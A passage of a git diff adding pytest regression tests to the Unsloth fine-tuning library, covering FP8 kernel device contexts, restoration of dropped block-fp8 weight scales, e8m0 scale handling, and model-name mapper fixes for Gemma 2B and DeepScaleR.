+        if launch_name is not None:
+            if self._inside_fp8_device_context:
+                self.guarded_launches.add(launch_name)
+            else:
+                self.unguarded_launches.add(launch_name)
+        self.generic_visit(node)
+
+    @staticmethod
+    def _triton_launch_name(node: ast.Call) -> str | None:
+        if isinstance(node.func, ast.Name) and node.func.id == "triton_quantize_fp8_block":
+            return node.func.id
+        if not isinstance(node.func, ast.Subscript):
+            return None
+        if not isinstance(node.func.value, ast.Name):
+            return None
+        return node.func.value.id
+
+
+def _load_device_context_helper(fake_torch: _FakeTorch):
+    source = FP8_SOURCE.read_text()
+    tree = ast.parse(source)
+    for node in tree.body:
+        if isinstance(node, ast.FunctionDef) and node.name == "_fp8_triton_device_context":
+            namespace = {"torch": fake_torch, "nullcontext": nullcontext}
+            exec(ast.get_source_segment(source, node), namespace)
+            return namespace["_fp8_triton_device_context"]
+    raise AssertionError("_fp8_triton_device_context was not found")
+
+
+def test_fp8_device_context_selects_cuda_tensor_device_on_multi_gpu() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 2)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cuda"))
+
+    context = helper(tensor)
+
+    assert context == ("device-context", tensor.device)
+    assert fake_torch.cuda.device_calls == [tensor.device]
+
+
+def test_fp8_device_context_is_noop_for_single_cuda_device() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 1)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cuda"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.cuda.device_calls == []
+
+
+def test_fp8_device_context_selects_xpu_tensor_device_on_multi_gpu() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 0, xpu_device_count = 2)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "xpu"))
+
+    context = helper(tensor)
+
+    assert context == ("device-context", tensor.device)
+    assert fake_torch.xpu.device_calls == [tensor.device]
+
+
+def test_fp8_device_context_is_noop_for_single_xpu_device() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 0, xpu_device_count = 1)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "xpu"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.xpu.device_calls == []
+
+
+def test_fp8_device_context_is_noop_for_non_cuda_tensor() -> None:
+    fake_torch = _FakeTorch(cuda_device_count = 8)
+    helper = _load_device_context_helper(fake_torch)
+    tensor = SimpleNamespace(device = SimpleNamespace(type = "cpu"))
+
+    context = helper(tensor)
+
+    assert isinstance(context, nullcontext)
+    assert fake_torch.cuda.device_calls == []
+
+
+def test_fp8_triton_launches_enter_tensor_device_context() -> None:
+    tree = ast.parse(FP8_SOURCE.read_text())
+    function_names = {node.name for node in ast.walk(tree) if isinstance(node, ast.FunctionDef)}
+    assert "_fp8_triton_device_context" in function_names
+
+    visitor = _LaunchVisitor()
+    visitor.visit(tree)
+
+    expected_launches = {
+        "weight_dequant_kernel",
+        "act_quant_kernel",
+        "_w8a8_block_fp8_matmul",
+        "triton_quantize_fp8_block",
+    }
+    assert expected_launches <= visitor.guarded_launches
+    assert not (expected_launches & visitor.unguarded_launches)
+
+
+def _require_two_cuda_devices():
+    torch = pytest.importorskip("torch")
+    pytest.importorskip("triton")
+
+    if not torch.cuda.is_available() or torch.cuda.device_count() < 2:
+        pytest.skip("requires at least two CUDA devices")
+    return torch
+
+
+def test_weight_dequant_block_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    from unsloth.kernels.fp8 import weight_dequant_block
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        x = torch.arange(256 * 256, device = "cuda:1", dtype = torch.float32).reshape(256, 256)
+        scales = torch.tensor([[1.0, 2.0], [3.0, 4.0]], device = "cuda:1", dtype = torch.float32)
+
+        actual = weight_dequant_block(x, scales, block_size = 128, dtype = torch.float32)
+
+        expanded_scales = scales.repeat_interleave(128, dim = 0).repeat_interleave(128, dim = 1)
+        expected = x * expanded_scales
+
+        assert actual.device == x.device
+        assert torch.cuda.current_device() == 0
+        torch.testing.assert_close(actual, expected)
+    finally:
+        torch.cuda.set_device(previous_device)
+
+
+def test_act_quant_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    if not hasattr(torch, "float8_e4m3fn"):
+        pytest.skip("requires torch.float8_e4m3fn")
+    if torch.cuda.get_device_capability(1)[0] < 9:
+        pytest.skip("requires FP8-capable CUDA hardware")
+
+    from unsloth.kernels.fp8 import act_quant
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        x = torch.arange(256, device = "cuda:1", dtype = torch.float32).reshape(2, 128)
+
+        y, scales = act_quant(x, block_size = 128)
+
+        assert y.device == x.device
+        assert scales.device == x.device
+        assert torch.cuda.current_device() == 0
+    finally:
+        torch.cuda.set_device(previous_device)
+
+
+def test_w8a8_block_fp8_matmul_triton_runs_on_tensor_device_when_current_device_differs() -> None:
+    torch = _require_two_cuda_devices()
+    if not hasattr(torch, "float8_e4m3fn"):
+        pytest.skip("requires torch.float8_e4m3fn")
+    if torch.cuda.get_device_capability(1)[0] < 9:
+        pytest.skip("requires FP8-capable CUDA hardware")
+
+    from unsloth.kernels.fp8 import w8a8_block_fp8_matmul_triton
+
+    previous_device = torch.cuda.current_device()
+    try:
+        torch.cuda.set_device(0)
+        A = torch.ones((128, 128), device = "cuda:1", dtype = torch.float32).to(torch.float8_e4m3fn)
+        B = torch.ones((128, 128), device = "cuda:1", dtype = torch.float32).to(torch.float8_e4m3fn)
+        As = torch.ones((128, 1), device = "cuda:1", dtype = torch.float32)
+        Bs = torch.ones((1, 1), device = "cuda:1", dtype = torch.float32)
+
+        actual = w8a8_block_fp8_matmul_triton(
+            A,
+            B,
+            As,
+            Bs,
+            block_size = [128, 128],
+            output_dtype = torch.float32,
+        )
+
+        expected = torch.full((128, 128), 128.0, device = "cuda:1", dtype = torch.float32)
+        assert actual.device == A.device
+        assert torch.cuda.current_device() == 0
+        torch.testing.assert_close(actual, expected)
+    finally:
+        torch.cuda.set_device(previous_device)
diff --git a/tests/test_fp8_restore_dropped_scale.py b/tests/test_fp8_restore_dropped_scale.py
new file mode 100644
index 0000000000..a85b24daff
--- /dev/null
+++ b/tests/test_fp8_restore_dropped_scale.py
@@ -0,0 +1,358 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Restoring dropped block-fp8 `weight_scale_inv` tensors on load (#6200).
+
+Some block-scale fp8 checkpoints leave a Linear (e.g. `mlp.gate_proj`) unconverted, so its raw
+quantized values land in a plain bf16 weight and its `weight_scale_inv` is dropped, producing a
+garbage un-scaled weight. `_restore_dropped_fp8_scales` dequantizes such orphaned weights in place
+using the scale from the checkpoint. Runs offline on CPU with synthetic checkpoints.
+"""
+
+import json
+import os
+import tempfile
+from types import SimpleNamespace
+
+import torch
+from torch import nn
+from safetensors.torch import save_file
+
+# Import unsloth first to set UNSLOTH_IS_PRESENT env var.
+import unsloth
+from unsloth.models.loader_utils import _restore_dropped_fp8_scales, _FP8_DTYPES
+
+
+_SHARD = "model-00001-of-00001.safetensors"
+_FP8 = _FP8_DTYPES[0] if _FP8_DTYPES else None
+
+
+def _write_checkpoint(
+    path,
+    tensors,
+    filename = _SHARD,
+    include_index = True,
+):
+    save_file(tensors, os.path.join(path, filename))
+    if include_index:
+        weight_map = {name: filename for name in tensors}
+        with open(os.path.join(path, "model.safetensors.index.json"), "w") as f:
+            json.dump({"weight_map": weight_map}, f)
+
+
+def _fp8_config(block = (2, 2)):
+    return SimpleNamespace(
+        quantization_config = {
+            "quant_method": "fp8",
+            "weight_block_size": list(block),
+        }
+    )
+
+
+def _fp8_anchor():
+    """A module carrying a real fp8 weight, so the model looks like a genuine fp8 load."""
+    m = nn.Linear(2, 2, bias = False)
+    m.weight = nn.Parameter(torch.randn(2, 2).to(_FP8), requires_grad = False)
+    return m
+
+
+def _bf16_linear(out_f, in_f, raw):
+    m = nn.Linear(in_f, out_f, bias = False).to(torch.bfloat16)
+    with torch.no_grad():
+        m.weight.copy_(raw)
+    return m
+
+
+def _expand(scale, block, shape):
+    bs0, bs1 = block
+    expanded = scale.repeat_interleave(bs0, dim = 0).repeat_interleave(bs1, dim = 1)
+    return expanded[: shape[0], : shape[1]]
+
+
+def test_restore_dequantizes_orphaned_scale():
+    """A plain bf16 weight whose scale was dropped is dequantized in place."""
+    if _FP8 is None:
+        return
+    torch.manual_seed(0)
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d,
+            {
+                "layer.weight": raw.to(torch.float32),
+                "layer.weight_scale_inv": scale,
+            },
+        )
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (4, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_skips_already_fp8_weight():
+    """A correctly converted fp8 weight is skipped, never double-scaled."""
+    if _FP8 is None:
+        return
+    weight = torch.randn(4, 4).to(_FP8)
+    before = weight.clone()
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.layer = nn.Linear(4, 4, bias = False)
+    model.layer.weight = nn.Parameter(weight, requires_grad = False)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": torch.rand(2, 2)})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 0 and skipped == 1
+    assert torch.equal(model.layer.weight.data.float(), before.float())
+
+
+def test_skips_offloaded_meta_weight():
+    """A disk-offloaded layer (weight on the meta device) is skipped without error or restore."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = nn.Linear(4, 4, bias = False)
+    # Simulate an offloaded weight living on the meta device.
+    model.layer.weight = nn.Parameter(
+        torch.empty(4, 4, dtype = torch.bfloat16, device = "meta"), requires_grad = False
+    )
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d,
+            {
+                "layer.weight": raw.to(torch.float32),
+                "layer.weight_scale_inv": scale,
+            },
+        )
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 0
+    assert model.layer.weight.device.type == "meta"
+
+
+def test_noop_when_fully_dequantized():
+    """If the model has no fp8 weights at all (e.g. load_in_16bit dequantize), do not rescale."""
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.layer = _bf16_linear(4, 4, raw)  # no fp8 anchor -> looks dequantized
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert (restored, skipped) == (0, 0)
+    assert torch.equal(model.layer.weight.data, raw)  # untouched
+
+
+def test_non_block_divisible_shape():
+    """Block scale is expanded then sliced to a non-divisible weight shape."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(3, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(3, 4, raw)  # weight shape [3, 4]
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, skipped = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (3, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_transposed_scale_layout():
+    """A scale stored in the transposed block grid is transposed before use."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 2, dtype = torch.bfloat16)  # weight [4, 2] -> grid (2, 1)
+    scale_correct = torch.rand(2, 1, dtype = torch.float32) + 0.1
+    scale_stored = scale_correct.t().contiguous()  # stored transposed as (1, 2)
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 2, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale_stored})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale_correct, (2, 2), (4, 2))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_single_file_checkpoint_without_index():
+    """Unsharded model.safetensors (no index) is still scanned for dropped scales."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(
+            d, {"layer.weight_scale_inv": scale}, filename = "model.safetensors", include_index = False
+        )
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (4, 4))).to(torch.bfloat16)
+    assert torch.equal(model.layer.weight.data, expected)
+
+
+def test_scalar_block_size_config():
+    """A scalar weight_block_size (not a list) is handled without error."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = SimpleNamespace(
+        quantization_config = {"quant_method": "fp8", "weight_block_size": 2}
+    )
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+
+
+def test_text_only_prefix_mapping():
+    """Checkpoint keys with a language_model prefix match the stripped text-only module names."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(2, 2, dtype = torch.bfloat16)
+    scale = torch.rand(1, 1, dtype = torch.float32) + 0.1
+
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.model = nn.Module()
+    model.model.gate_proj = _bf16_linear(2, 2, raw)  # module lacks the language_model prefix
+
+    with tempfile.TemporaryDirectory() as d:
+        # checkpoint key carries the language_model wrapper the text-only load stripped
+        _write_checkpoint(d, {"model.language_model.gate_proj.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (2, 2))).to(torch.bfloat16)
+    assert torch.equal(model.model.gate_proj.weight.data, expected)
+
+
+def test_skips_variant_load():
+    """A variant load (variant="fp8") is skipped to avoid applying default-checkpoint scales."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(4, 4, dtype = torch.bfloat16)
+    scale = torch.rand(2, 2, dtype = torch.float32) + 0.1
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, raw)
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        result = _restore_dropped_fp8_scales(model, d, local_files_only = True, variant = "fp8")
+    assert result == (0, 0)
+    assert torch.equal(model.layer.weight.data, raw)  # untouched
+
+
+def test_vlm_language_model_model_alias():
+    """A checkpoint key language_model.model.* matches a model.language_model.* module."""
+    if _FP8 is None:
+        return
+    raw = torch.randn(2, 2, dtype = torch.bfloat16)
+    scale = torch.rand(1, 1, dtype = torch.float32) + 0.1
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.model = nn.Module()
+    model.model.language_model = nn.Module()
+    model.model.language_model.gate_proj = _bf16_linear(
+        2, 2, raw
+    )  # -> model.language_model.gate_proj
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"language_model.model.gate_proj.weight_scale_inv": scale})
+        restored, _ = _restore_dropped_fp8_scales(model, d, local_files_only = True)
+    assert restored == 1
+    expected = (raw.to(torch.float32) * _expand(scale, (2, 2), (2, 2))).to(torch.bfloat16)
+    assert torch.equal(model.model.language_model.gate_proj.weight.data, expected)
+
+
+def test_noop_without_scale_keys():
+    if _FP8 is None:
+        return
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, torch.randn(4, 4, dtype = torch.bfloat16))
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight": torch.randn(4, 4)})
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
+
+
+def test_noop_without_index_or_single_file():
+    if _FP8 is None:
+        return
+    model = nn.Module()
+    model.config = _fp8_config((2, 2))
+    model.anchor = _fp8_anchor()
+    model.layer = _bf16_linear(4, 4, torch.randn(4, 4, dtype = torch.bfloat16))
+    with tempfile.TemporaryDirectory() as d:
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
+
+
+def test_noop_when_not_block_fp8():
+    """A non-fp8 (or non-block) quantization config is ignored."""
+    scale = torch.rand(2, 2)
+    model = nn.Module()
+    model.config = SimpleNamespace(quantization_config = {"quant_method": "compressed-tensors"})
+    model.layer = nn.Linear(4, 4, bias = False)
+    with tempfile.TemporaryDirectory() as d:
+        _write_checkpoint(d, {"layer.weight_scale_inv": scale})
+        assert _restore_dropped_fp8_scales(model, d, local_files_only = True) == (0, 0)
diff --git a/tests/test_fp8_tiny_e8m0.py b/tests/test_fp8_tiny_e8m0.py
new file mode 100644
index 0000000000..cf49c8c92f
--- /dev/null
+++ b/tests/test_fp8_tiny_e8m0.py
@@ -0,0 +1,123 @@
+"""FP8 block-quant linear must handle tiny / non-tileable weights and e8m0 scales.
+
+Two things break the triton block path:
+  * a hidden dim not divisible by the activation block size (tiny test models),
+  * float8_e8m0fnu weight scales, which have no triton dtype mapping.
+The forward falls back to a torch-native blockwise dequant + bf16 matmul; this
+test checks that fallback runs finite forward + backward and matches a plain
+dequant reference.
+"""
+
+import pytest
+import torch
+
+pytestmark = pytest.mark.skipif(not torch.cuda.is_available(), reason = "needs CUDA")
+
+
+def _reference(X, weight, scale, block):
+    # Expand the per-block scale to full weight shape and dequantize.
+    m, n = weight.shape
+    s = scale.to(torch.float32)
+    s = s.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    W = (weight.to(torch.float32) * s).to(X.dtype)
+    return X @ W.T
+
+
+def test_tiny_non_tileable_forward_backward_matches_reference():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [128, 128]
+    m, n = 8, 8  # non-tileable, in-dim % 128 != 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # (out=m, in=n)
+    scale = torch.rand(1, 1, device = dev, dtype = torch.float32) + 0.5
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all(), "forward produced non-finite values"
+
+    ref = _reference(X.detach(), weight, scale, block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all(), "backward non-finite"
+
+
+def test_e8m0_scale_is_upcast_and_runs():
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    dev = "cuda"
+    m, n = 8, 8
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    scale = (torch.rand(1, 1, device = dev) + 1.0).to(torch.float8_e8m0fnu)
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+    out.sum().backward()
+    assert torch.isfinite(X.grad).all()
+
+
+def test_rectangular_block_dequant_matches_reference():
+    # Rectangular blocks (block_size[0] != block_size[1]) that tile evenly used to
+    # route through the triton weight_dequant kernel, which uses a single BLOCK_SIZE
+    # for both axes and mis-indexes the column scale. Verify the torch expansion path
+    # now matches the reference for a 64x256 weight with block [64, 128] (scale 1x2).
+    from unsloth.kernels.fp8 import _blockwise_weight_dequant_any_shape
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 128]
+    m, n = 64, 256  # evenly tiled: 64 % 64 == 0, 256 % 128 == 0
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)
+    # Distinct per-block column scales expose column mis-indexing.
+    scale = torch.tensor([[0.5, 3.0]], device = dev, dtype = torch.float32)
+
+    W_deq = _blockwise_weight_dequant_any_shape(weight, scale, block, torch.bfloat16)
+
+    s = scale.repeat_interleave(block[0], 0)[:m].repeat_interleave(block[1], 1)[:, :n]
+    ref = (weight.to(torch.float32) * s).to(torch.bfloat16)
+    torch.testing.assert_close(W_deq, ref, atol = 5e-3, rtol = 5e-3)
+
+
+def test_e8m0_scale_preserves_non_default_block_size_attr():
+    # An e8m0 scale carrying a non-default block_size attribute must keep it across
+    # the float32 upcast in forward; otherwise the lookup falls back to [128, 128]
+    # and a compatible layout is wrongly rejected as incompatible.
+    from unsloth.kernels.fp8 import FP8BlockQuantLinear
+
+    if not hasattr(torch, "float8_e8m0fnu"):
+        pytest.skip("torch build lacks float8_e8m0fnu")
+
+    torch.manual_seed(0)
+    dev = "cuda"
+    block = [64, 64]
+    # in-dim 96 is not divisible by block[1]=64 -> forward takes the torch dequant
+    # fallback (no fp8 matmul kernel). Scale shape (2, 2) validates for [64, 64] but
+    # not [128, 128] (which expects (1, 1)).
+    m, n = 128, 96
+    weight = torch.randn(m, n, device = dev, dtype = torch.bfloat16)  # no block_size attr
+    scale_f = torch.rand(2, 2, device = dev) + 1.0
+    scale = scale_f.to(torch.float8_e8m0fnu)
+    scale.block_size = block  # attribute lives on the scale, not the weight
+    X = torch.randn(4, n, device = dev, dtype = torch.bfloat16, requires_grad = True)
+
+    # With [128, 128] this raises "not compatible with block size"; success proves
+    # the [64, 64] attribute survived the e8m0 -> float32 upcast.
+    out = FP8BlockQuantLinear.apply(X, weight, scale)
+    assert torch.isfinite(out).all()
+
+    ref = _reference(X.detach(), weight, scale.to(torch.float32), block)
+    torch.testing.assert_close(out, ref, atol = 5e-2, rtol = 5e-2)
+
+    out.sum().backward()
+    assert X.grad is not None and torch.isfinite(X.grad).all()
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/tests/test_gemma_2b_mapper_key.py b/tests/test_gemma_2b_mapper_key.py
new file mode 100644
index 0000000000..31edacfce4
--- /dev/null
+++ b/tests/test_gemma_2b_mapper_key.py
@@ -0,0 +1,46 @@
+"""Regression test for the duplicate ``unsloth/gemma-2b-bnb-4bit`` key in
+``unsloth/models/mapper.py``.
+
+The 4bit instruction-tuned Gemma 2B entry was accidentally keyed with the base
+model's repo name, so ``__INT_TO_FLOAT_MAPPER`` held two identical
+``unsloth/gemma-2b-bnb-4bit`` keys. Python keeps only the last value for a
+duplicate literal key, so the base 4bit repo resolved to the *instruct* model,
+the base model lost its reverse (4x-faster) mapping, and
+``unsloth/gemma-2b-it-bnb-4bit`` was never registered at all.
+
+``mapper.py`` has no imports, so we exec it directly and inspect the built
+mappers without importing ``unsloth`` (which requires a GPU).
+"""
+
+import os
+
+MAPPER_PATH = os.path.join(os.path.dirname(__file__), os.pardir, "unsloth", "models", "mapper.py")
+
+
+def _load_mappers():
+    with open(MAPPER_PATH) as f:
+        source = f.read()
+    namespace = {}
+    exec(compile(source, MAPPER_PATH, "exec"), namespace)
+    return namespace
+
+
+def test_gemma_2b_base_and_instruct_4bit_are_distinct():
+    namespace = _load_mappers()
+    int_to_float = namespace["INT_TO_FLOAT_MAPPER"]
+    float_to_int = namespace["FLOAT_TO_INT_MAPPER"]
+
+    # The base 4bit repo must resolve to the base model, not the instruct one.
+    assert int_to_float["unsloth/gemma-2b-bnb-4bit"] == "unsloth/gemma-2b"
+
+    # The instruct 4bit repo must be registered and resolve to the instruct model.
+    assert "unsloth/gemma-2b-it-bnb-4bit" in int_to_float
+    assert int_to_float["unsloth/gemma-2b-it-bnb-4bit"] == "unsloth/gemma-2b-it"
+
+    # The base model must reverse-map back to the base 4bit repo.
+    assert float_to_int["unsloth/gemma-2b"] == "unsloth/gemma-2b-bnb-4bit"
+    assert float_to_int["google/gemma-2b"] == "unsloth/gemma-2b-bnb-4bit"
+
+    # The instruct model must reverse-map to the instruct 4bit repo.
+    assert float_to_int["unsloth/gemma-2b-it"] == "unsloth/gemma-2b-it-bnb-4bit"
+    assert float_to_int["google/gemma-2b-it"] == "unsloth/gemma-2b-it-bnb-4bit"
diff --git a/tests/test_get_model_name.py b/tests/test_get_model_name.py
index 993931c0ef..33ad316d88 100644
--- a/tests/test_get_model_name.py
+++ b/tests/test_get_model_name.py
@@ -102,6 +102,19 @@ class TestGetModelName(unittest.TestCase):
             ),
             ("unsloth/Kimi-K2-Instruct", True, "unsloth/Kimi-K2-Instruct-BF16", True),
             ("unsloth/Kimi-K2-Instruct", False, "unsloth/Kimi-K2-Instruct", False),
+            # DeepScaleR-1.5B must resolve to its own 16bit repo, not another model
+            (
+                "agentica-org/DeepScaleR-1.5B-Preview",
+                False,
+                "unsloth/DeepScaleR-1.5B-Preview",
+                True,
+            ),
+            (
+                "agentica-org/DeepScaleR-1.5B-Preview",
+                True,
+                "unsloth/DeepScaleR-1.5B-Preview-unsloth-bnb-4bit",
+                True,
+            ),
             # Fallback-to-original behavior
             "nonexistent-user/nonexistent-model-123",
             "google/gemma-3-random-prototype-123",
@@ -157,6 +170,10 @@ class TestGetModelName(unittest.TestCase):
             with self.subTest(src = src):
                 self.assertEqual(FLOAT_TO_INT_MAPPER[src], expected)
         self.assertEqual(MAP_TO_UNSLOTH_16bit["qwen/qwen3-8b-fp8"], "unsloth/Qwen3-8B-FP8")
+        self.assertEqual(
+            MAP_TO_UNSLOTH_16bit["agentica-org/deepscaler-1.5b-preview"],
+            "unsloth/DeepScaleR-1.5B-Preview",
+        )
 
 
 if __name__ == "__main__":
diff --git a/tests/test_gradient_checkpointing_restore.py b/tests/test_gradient_checkpointing_restore.py
new file mode 100644
index 0000000000..4f9f3faccc
--- /dev/null
+++ b/tests/test_gradient_checkpointing_restore.py
@@ -0,0 +1,185 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Regression for #4735: a plain ``TrainingArguments`` silently disabling the
+gradient-checkpointing (GC) mode the model was configured with at setup.
+
+Setup records the effective GC mode as ``_unsloth_gradient_checkpointing``; the
+trainer restores *that* value, falling back to ``args.gradient_checkpointing``
+only when nothing was recorded. The restore lines live inside exec'd template
+strings, which ``py_compile`` never sees, so these tests pull the real snippets
+out of the source and execute them against fakes. GPU-free.
+"""
+
+from __future__ import annotations
+
+import ast
+import re
+from pathlib import Path
+
+_ROOT = Path(__file__).resolve().parent.parent / "unsloth" / "models"
+_RL = (_ROOT / "rl.py").read_text()
+_RL_REPLACEMENTS = (_ROOT / "rl_replacements.py").read_text()
+
+# The single-line ternary form used at the trainer call sites:
+#   <obj>._unsloth_gradient_checkpointing if hasattr(<obj>, '...') else getattr(<args>, 'gradient_checkpointing', True)
+_TERNARY = re.compile(
+    r"(?P<model>[\w.]+)\._unsloth_gradient_checkpointing "
+    r"if hasattr\((?P=model), '_unsloth_gradient_checkpointing'\) "
+    r"else getattr\((?P<args>[\w.]+), 'gradient_checkpointing', True\)"
+)
+
+_MISSING = object()
+
+
+class _Obj:
+    """Bare attribute bag; ``_unsloth_gradient_checkpointing`` present only when recorded."""
+
+    def __init__(
